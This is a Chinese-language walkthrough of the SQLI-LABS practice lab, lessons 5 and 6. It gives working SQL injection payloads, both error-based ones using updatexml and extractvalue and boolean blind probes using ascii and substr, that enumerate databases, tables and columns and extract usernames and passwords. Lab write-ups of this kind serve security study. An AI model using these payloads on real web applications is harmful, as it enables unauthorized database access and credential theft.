SQLI-LABS(三)
准备的函数:
left(a,b); 从左侧开始截取a的前b位
length(a); 返回字符串a的长度
regexp();
like();
substr(a,b,c); 从b位开始截取字符串a的c位
ascii('a'); 返回字母 a 的 ascii值
ord();
chr();
if(a,b,c); a为true,执行b;a错误,执行c
Less-5:
?id=1
?id=2
?id=50
发现只要语句正确,显示的结果都相同,没有回显
?id=1'
出现报错信息,证明存在sql漏洞
sql语句:SELECT * FROM users WHERE id='1'' LIMIT 0,1
报错信息:''1'' LIMIT 0,1',去掉包围的引号,为'1'' LIMIT 0,1
知为字符型注入,以 '闭合
?id=1' order by 3--+
判断列数为3列
方法一:报错注入
既然报错信息可以在页面中显示出来,那么我们进行报错注入
XPATH报错
extratvalue();
?id=1 and extractvalue(1,concat('^',(select version()),'^'))--+
updataxml();
?id=1 and updatexml(1,concat('^',(select version()),'^'),1)--+
注:'^' 可替换为十六进制 0x5e
也可使用 '~' 对应的十六进制为 0x7e
查库:
?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+
查表:
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~'),1)--+
查字段:
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'~'),1)--+
查字段内容:
?id=1' and updatexml(1,concat('~',(select group_concat(concat_ws('~',username,password))from security.users),'~'),1)--+
方法二:判断是否为布尔类型注入
?id=1' and 1=1--+
?id=1' and 1=2--+
两次页面不同,确定可以使用布尔盲注
布尔盲注—对可变参数进行爆破处理
查库:
判断数据库的长度:
数据库长度是否为1?
?id=1' and length(database())=1 --+
具体判断数据库的组成:
字母判断:
判断数据库名的第一位是否为a?
?id=1' and left(database(),1)='a'--+
ascii判断:
判断数据库名的第一位ascii值是否大于100?
?id=1 and ascii(substr(database(),1,1)) > 100 --+
经过尝试之后可以知道
?id=1' and length(database())='8'--+
?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and database()='security'--+
即数据库是 security
看哪一个库名开头为's'?
?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 7,1),1,1)) =115--+
知第八个数据库为 security
查表:
看哪一个表名开头为'u'?
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)) ='117'--+
知第四张表为 users
查字段:
看哪一个字段开头为'u'?
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 12,1),1,1)) =117--+
知第13个字段为 username
同样的方法知道第13个字段为 password
查字段内容:
?id=1' and ascii(substr((select username from security.users limit 0,1),1,1)) > 100--+
?id=1' and ascii(substr((select password from security.users limit 0,1),1,1)) > 100--+
用该方法一个一个查出 username,以及password 的信息
Less-6:
?id=1"
出现报错信息,证明存在sql漏洞
报错信息:'"1"" LIMIT 0,1',去掉包围的引号,为 "1"" LIMIT 0,1
知为字符型注入,以 "闭合
?id=1" order by 3--+
判断列数为3列
与第五关的区别只有闭合方式不同,将第五个的单引号改为双引号即可